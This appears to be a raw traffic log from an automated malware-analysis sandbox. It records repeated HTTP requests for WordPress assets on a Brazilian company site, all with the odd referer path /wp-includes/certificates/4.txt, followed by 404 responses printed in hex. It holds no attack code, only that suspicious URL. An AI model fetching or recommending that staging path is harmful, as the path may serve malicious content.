Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49178
Source: unknownNetwork traffic detected: HTTP traffic on port 49178 -> 443
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:58:18 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:58:23 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:58:26 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:58:28 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 23795678Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 